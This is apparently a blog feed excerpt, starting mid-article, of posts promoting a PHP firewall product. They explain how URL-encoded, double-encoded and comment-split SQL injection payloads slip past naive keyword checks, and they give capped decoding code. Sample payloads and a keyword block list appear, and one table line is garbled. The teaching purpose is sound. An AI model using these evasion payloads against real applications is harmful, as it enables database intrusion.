&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;SE&lt;/span&gt;&lt;span class="cm"&gt;/*comment*/&lt;/span&gt;&lt;span class="n"&gt;LECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;FR&lt;/span&gt;&lt;span class="cm"&gt;/*comment*/&lt;/span&gt;&lt;span class="n"&gt;OM&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Your pattern matching looks for select. It never appears as a contiguous string. The check may pass. Whether the attack succeeds depends on how the application processes the input afterward.&lt;/p&gt;

&lt;p&gt;This is the core limitation of signature-based detection: it catches known bad patterns. It misses unknown ones.&lt;/p&gt;

&lt;p&gt;The Broader Lesson: Every Security Fix Has Side Effects&lt;/p&gt;

&lt;p&gt;This is the part most security tutorials skip.&lt;/p&gt;

&lt;p&gt;When you add a security control, you are not just closing one door. You are potentially opening another. The question to ask after every security fix is not just “does this stop the attack I was worried about?” It is “what does this enable that I was not worried about before?”&lt;/p&gt;

&lt;p&gt;Unlimited URL decoding stops encoding-based evasion. It introduces resource exhaustion risk.&lt;/p&gt;

&lt;p&gt;Capped URL decoding reduces most encoding-based evasion. It limits CPU exposure. It misses deeply nested encoding which upstream infrastructure should handle anyway.&lt;/p&gt;

&lt;p&gt;Every security decision is a tradeoff. Understanding the tradeoff is what separates a developer who adds security theater from one who builds genuine defense.&lt;/p&gt;

&lt;p&gt;Detection vs Prevention&lt;/p&gt;

&lt;p&gt;Both of the articles I have written so far are about detection logging suspicious requests, normalizing input, identifying behavioral signals.&lt;/p&gt;

&lt;p&gt;Detection is valuable. But it has a ceiling.&lt;/p&gt;

&lt;p&gt;The real fix for SQL injection lives at the query layer, not the detection layer. Parameterized queries make SQL injection structurally impossible for that query no amount of encoding tricks around it.&lt;/p&gt;

&lt;p&gt;Detection tells you something suspicious happened. Prevention stops it from mattering.&lt;/p&gt;

&lt;p&gt;The strongest security posture uses both:&lt;/p&gt;

&lt;p&gt;Prevention: parameterized queries, input validation, output encoding, proper authentication&lt;br&gt;
Detection: normalized pattern matching, behavioral anomaly detection, response size monitoring, real-time alerting&lt;br&gt;
Neither replaces the other. Prevention reduces your attack surface. Detection covers what prevention misses.&lt;/p&gt;

&lt;p&gt;The Direction Behind Kriosa&lt;/p&gt;

&lt;p&gt;One of the design principles behind Kriosa is controlled input normalization keeping normalization predictable, bounded, and combined with behavioral analysis instead of relying solely on repeated decoding.&lt;/p&gt;

&lt;p&gt;The XAI dashboard then explains what was detected and why so you understand the attack pattern, not just that something was blocked.&lt;/p&gt;

&lt;p&gt;That is the difference between a log filter and a security layer. One tells you something looked suspicious. The other tells you what it was, why it was flagged, and what the attacker was trying to accomplish.&lt;/p&gt;

&lt;p&gt;Try it free: &lt;a href="https://dev.tourl"&gt;kriosa.com&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Install it: composer require kriosa-ai/kriosa-php&lt;/p&gt;

&lt;p&gt;Built by a developer from Cameroon, for developers who want to understand their security not just outsource it.&lt;/p&gt;

&lt;p&gt;Kriosa — Sleep better we’re awake.&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>cybersecurity</category>
      <category>laravel</category>
      <category>programming</category>
    </item>
    <item>
      <title>Why URL Encoding Can Break PHP Security Checks — and What Actually Works</title>
      <dc:creator>Nchiminyi — Founder, Kriosa</dc:creator>
      <pubDate>Wed, 08 Jul 2026 15:54:41 +0000</pubDate>
      <link>https://dev.to/kriosa/why-url-encoding-can-break-php-security-checks-and-what-actually-works-1nfd</link>
      <guid>https://dev.to/kriosa/why-url-encoding-can-break-php-security-checks-and-what-actually-works-1nfd</guid>
      <description>&lt;p&gt;First published on medium&lt;br&gt;
One overlooked detail in request inspection can leave your security checks blind to real attacks.&lt;br&gt;
That comment made me realize this topic deserves its own article. Because the gap he found is not unique to my code. It is in many PHP security checks developers write themselves.&lt;br&gt;
Here is the full picture.&lt;/p&gt;

&lt;p&gt;What URL Encoding Is&lt;/p&gt;

&lt;p&gt;When a browser or attacker sends data through a URL, certain characters cannot travel as-is. Characters like single quotes, spaces, and equals signs have special meaning in URLs they separate parameters, indicate values, structure the request.&lt;/p&gt;

&lt;p&gt;So they get converted to a safe format before transmission. This conversion is called URL encoding or percent encoding.&lt;/p&gt;

&lt;p&gt;The rules work like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;'       →  %27
(space) →  %20' OR '1'='1
=       →  %3D
"       →  %22
/       →  %2F
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So a SQL injection payload that looks like this in plain text:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="s1"&gt;' OR '&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;'='&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Arrives at your PHP server looking like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;%27%20OR%20%271%27%3D%271
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The same payload intent. A completely different representation. And many PHP security checks never see it coming.&lt;/p&gt;

&lt;p&gt;Why Some Security Checks Fail&lt;/p&gt;

&lt;p&gt;Here is the kind of security check many PHP developers write when they want basic protection:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$suspicious&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"'"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"union"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"select"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"drop"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"insert"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"--"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"/*"&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nv"&gt;$query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;strtolower&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_SERVER&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'QUERY_STRING'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="k"&gt;foreach&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$suspicious&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nv"&gt;$pattern&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;strpos&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$query&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$pattern&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nb"&gt;error_log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"SUSPICIOUS REQUEST: "&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$_SERVER&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'REMOTE_ADDR'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This looks reasonable. It checks for common SQL injection patterns and logs suspicious requests.&lt;/p&gt;

&lt;p&gt;But look at what it is checking against: $_SERVER['QUERY_STRING'] the raw query string exactly as it arrived from the browser.&lt;/p&gt;

&lt;p&gt;If the attacker sent %27%20OR%20%271%27%3D%271, that raw string contains none of the patterns you are checking for. No single quote. No OR. No equals sign. The check runs, finds nothing suspicious, and the request passes through.&lt;/p&gt;

&lt;p&gt;The detection check misses the request. Your log may show nothing suspicious.&lt;/p&gt;

&lt;p&gt;Important note: if you access input through $_GET rather than $_SERVER['QUERY_STRING'], PHP already decodes the values for you. This issue specifically affects developers inspecting raw request data directly.&lt;/p&gt;

&lt;p&gt;Security reminder: this example is for demonstrating detection concepts. It is not a replacement for using parameterized queries and prepared statements. The real fix for SQL injection is preventing it at the database layer not filtering it at the input layer.&lt;/p&gt;

&lt;p&gt;Normalizing Input Before Inspection&lt;/p&gt;

&lt;p&gt;The solution is to decode the URL encoding before running your pattern matching. To avoid decode bomb attacks where deeply nested encoding burns CPU we cap the decode passes at a fixed number:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$suspicious&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"'"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"union"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"select"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"drop"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"insert"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"--"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"/*"&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="c1"&gt;// Cap decode passes to prevent decode bomb attacks&lt;/span&gt;
&lt;span class="nv"&gt;$query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_SERVER&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'QUERY_STRING'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$maxPasses&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$previous&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$previous&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="nv"&gt;$query&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nv"&gt;$i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nv"&gt;$maxPasses&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$previous&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$query&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nv"&gt;$query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;urldecode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$query&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nv"&gt;$query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;strtolower&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$query&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="k"&gt;foreach&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$suspicious&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nv"&gt;$pattern&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;strpos&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$query&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$pattern&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nb"&gt;error_log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"SUSPICIOUS REQUEST: "&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$_SERVER&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'REMOTE_ADDR'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Three passes maximum. The loop stops earlier if the string stops changing. This handles single and double encoding which covers the vast majority of real-world evasion attempts without opening an infinite loop vulnerability. This fixes a detection blind spot. It does not fix SQL injection itself that requires parameterized queries at the application layer.&lt;/p&gt;

&lt;p&gt;But It Goes Deeper: Double Encoding&lt;/p&gt;

&lt;p&gt;Sophisticated attackers know about urldecode(). So they encode twice.&lt;/p&gt;

&lt;p&gt;A single-encoded payload:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;%27  →  urldecode()  →  '  ✓ detected
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A double-encoded payload:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;%2527  →  urldecode()  →  %27  →  still encoded, not detected
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The %25 is the URL encoding for the % character itself. So %2527 decodes to %27 which is still encoded. Your single urldecode() call produces %27, your pattern matching looks for ', they never match.&lt;br&gt;
Running urldecode() twice helps in some cases. But be careful repeated decoding without understanding your full request stack can cause unexpected behavior. Know where decoding already happens in your framework before adding more layers. PHP frameworks like Laravel may already decode input at certain points in the request lifecycle.&lt;/p&gt;

&lt;p&gt;Why Pattern Matching Has Limits&lt;/p&gt;

&lt;p&gt;Even with proper URL decoding, pattern matching has a fundamental weakness: it only catches what you know to look for.&lt;/p&gt;

&lt;p&gt;Attackers constantly develop new payloads specifically designed to bypass known patterns. They use alternative syntax. They use database-specific encoding. They use comments to break up keywords:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;SE&lt;/span&gt;&lt;span class="cm"&gt;/*comment*/&lt;/span&gt;&lt;span class="n"&gt;LECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;FR&lt;/span&gt;&lt;span class="cm"&gt;/*comment*/&lt;/span&gt;&lt;span class="n"&gt;OM&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Your pattern matching looks for select. It never appears as a contiguous string. The check may pass. Whether the attack succeeds depends on how the application processes the input afterward.&lt;/p&gt;

&lt;p&gt;This is the core limitation of signature-based detection: it catches known bad patterns. It misses unknown ones.&lt;/p&gt;

&lt;p&gt;What Actually Works: Behavioral Detection&lt;/p&gt;

&lt;p&gt;A developer who commented on my last article made a point worth examining carefully:&lt;/p&gt;

&lt;p&gt;Response size changes can be a valuable behavioral signal. A 200 response returning 9kb where 512 bytes is normally expected may indicate unusual behavior and deserves investigation.&lt;/p&gt;

&lt;p&gt;He is right. This points to a completely different detection approach: anomaly detection.&lt;/p&gt;

&lt;p&gt;Instead of asking “does this request contain a known bad pattern?” anomaly detection asks “does this request behave abnormally compared to what we normally see?”&lt;/p&gt;

&lt;p&gt;A response significantly larger than normal for that endpoint is worth investigating regardless of what the payload looked like. That said, larger responses can have legitimate causes too. The signal is most useful when combined with other indicators, not treated as conclusive on its own.&lt;/p&gt;

&lt;p&gt;Anomaly detection adds a layer that signature matching alone cannot provide it examines behavior over time, not just individual request patterns.&lt;/p&gt;

&lt;p&gt;The Two Approaches Combined&lt;/p&gt;

&lt;p&gt;The strongest security systems use both:&lt;/p&gt;

&lt;p&gt;Signature detection catches known attack patterns quickly and cheaply. Good for stopping automated scanners running common payloads.&lt;/p&gt;

&lt;p&gt;Anomaly detection can help identify unusual activity and attacks that do not match known signatures. Good for examining behavior patterns that signature matching alone would miss.&lt;/p&gt;

&lt;p&gt;Neither is sufficient alone. Together they cover the gaps the other leaves open.&lt;/p&gt;

&lt;p&gt;This is the type of gap behavioral analysis is designed to help identify by looking beyond individual patterns and examining how activity behaves over time.&lt;/p&gt;

&lt;p&gt;This is the direction behind Kriosa’s approach combining rule-based detection with behavioral analysis and explainable security insights. Not relying on one technique alone, but layering them so each covers what the other misses.&lt;/p&gt;

&lt;p&gt;The Practical Takeaway&lt;/p&gt;

&lt;p&gt;If you are writing your own PHP security checks:&lt;/p&gt;

&lt;p&gt;Know your input source understand the difference between $_GET and $_SERVER['QUERY_STRING'] and what each contains before you inspect it. Normalize before matching use the capped decode loop shown above, not a single urldecode() call. Single decoding misses double-encoded payloads.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Cap decode passes to prevent decode bomb attacks&lt;/span&gt;
&lt;span class="nv"&gt;$query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_SERVER&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'QUERY_STRING'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$maxPasses&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$previous&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$previous&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="nv"&gt;$query&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nv"&gt;$i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nv"&gt;$maxPasses&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$previous&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$query&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nv"&gt;$query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;urldecode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$query&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nv"&gt;$query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;strtolower&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$query&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Watch for behavioral signals response sizes significantly larger than normal for a given endpoint are worth investigating alongside other indicators.&lt;/p&gt;

&lt;p&gt;Understand the fundamental limit: manual pattern matching is a starting point, not a complete security strategy. It catches careless automated attacks. It struggles against careful targeted ones.&lt;/p&gt;

&lt;p&gt;And remember: the best security strategy is layered prevent vulnerabilities where possible, detect suspicious activity when prevention fails, and continuously improve based on what you learn.&lt;/p&gt;

&lt;p&gt;A Note on How This Article Happened&lt;/p&gt;

&lt;p&gt;This article exists because a developer read my previous article carefully enough to find a real gap in the code and said so publicly. That kind of technical engagement is rare and genuinely valuable.&lt;/p&gt;

&lt;p&gt;The best security knowledge comes from exactly this kind of exchange someone pushing on the detail, finding the weakness, and making the conversation better.&lt;/p&gt;

&lt;p&gt;If you find something wrong in this article, say so in the comments. That is how this gets better.&lt;/p&gt;

&lt;p&gt;Try Kriosa free: &lt;a href="https://dev.tourl"&gt;kriosa.com&lt;/a&gt;&lt;br&gt;
Install it: composer require kriosa-ai/kriosa-php&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Built by a developer from Cameroon, for developers who want to understand their security not just outsource it.&lt;br&gt;
Sleep better we're awake.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>php</category>
      <category>security</category>
      <category>programming</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Built an AI-Powered WAF for PHP/Laravel Apps in Africa — Here’s What It Catches</title>
      <dc:creator>Nchiminyi — Founder, Kriosa</dc:creator>
      <pubDate>Sat, 04 Jul 2026 20:09:27 +0000</pubDate>
      <link>https://dev.to/kriosa/built-an-ai-powered-waf-for-phplaravel-apps-in-africa-heres-what-it-catches-4fgf</link>
      <guid>https://dev.to/kriosa/built-an-ai-powered-waf-for-phplaravel-apps-in-africa-heres-what-it-catches-4fgf</guid>
      <description>&lt;p&gt;Originally published on Medium&lt;/p&gt;

&lt;p&gt;A student developer from Cameroon built a security tool that explains exactly why it blocked a request. Here’s the story and how to install it in 30 seconds.&lt;/p&gt;

&lt;p&gt;Press enter or click to view image in full size&lt;br&gt;
As a PHP developer in Africa, you already know the problem: your apps get hit by automated bots, SQL injection attempts, and XSS attacks every single day — and most security tools built to stop them are either too expensive, too complex, or built by people who have never touched an African server in their life.&lt;/p&gt;

&lt;p&gt;I built Kriosa to fix that.&lt;/p&gt;

&lt;p&gt;What is Kriosa?&lt;/p&gt;

&lt;p&gt;Kriosa is an AI-powered Web Application Firewall for PHP and Laravel apps. It uses a hybrid Machine Learning engine — combining Random Forest and Neural Networks — to detect and block threats before they reach your application. But the part that makes it different from every other WAF is the Explainable AI dashboard.&lt;/p&gt;

&lt;p&gt;Most WAFs are a black box. They block a request and tell you nothing. Kriosa tells you exactly why it blocked it — which features of the request triggered the ML model, what the confidence score was, and what attack pattern it matched. As a developer, that means you are not just protected — you understand what happened.&lt;/p&gt;

&lt;p&gt;What it catches:&lt;/p&gt;

&lt;p&gt;SQL Injection attempts&lt;br&gt;
Cross-Site Scripting (XSS)&lt;br&gt;
Path Traversal attacks&lt;br&gt;
Malicious bot detection&lt;br&gt;
Rate limiting abuse&lt;br&gt;
And 25+ other attack vectors&lt;br&gt;
Install it in 30 seconds:&lt;br&gt;
For Laravel:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;//Step 1 — Install via Composer
composer require kriosa-ai/kriosa-php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="err"&gt;//Step&lt;/span&gt; &lt;span class="err"&gt;2&lt;/span&gt; &lt;span class="err"&gt;—&lt;/span&gt; &lt;span class="err"&gt;Add&lt;/span&gt; &lt;span class="err"&gt;to&lt;/span&gt; &lt;span class="err"&gt;your&lt;/span&gt; &lt;span class="err"&gt;.env&lt;/span&gt; &lt;span class="err"&gt;file&lt;/span&gt;
&lt;span class="py"&gt;KRIOSA_API_KEY&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;sk_your_api_key_here&lt;/span&gt;
&lt;span class="py"&gt;KRIOSA_TIMEOUT&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;5&lt;/span&gt;
&lt;span class="py"&gt;KRIOSA_DEBUG&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;false&lt;/span&gt;
&lt;span class="py"&gt;KRIOSA_BADGE&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;//Step 3 — Create config/kriosa.php&lt;/span&gt;
&lt;span class="c1"&gt;// config/kriosa.php&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="s1"&gt;'api_key'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;env&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'KRIOSA_API_KEY'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="s1"&gt;'timeout'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;env&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'KRIOSA_TIMEOUT'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="s1"&gt;'debug'&lt;/span&gt;   &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;env&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'KRIOSA_DEBUG'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;//Step 4 — Create the Middleware&lt;/span&gt;
&lt;span class="c1"&gt;// app/Http/Middleware/KriosaSecurity.php&lt;/span&gt;

&lt;span class="kn"&gt;use&lt;/span&gt; &lt;span class="nc"&gt;Closure&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
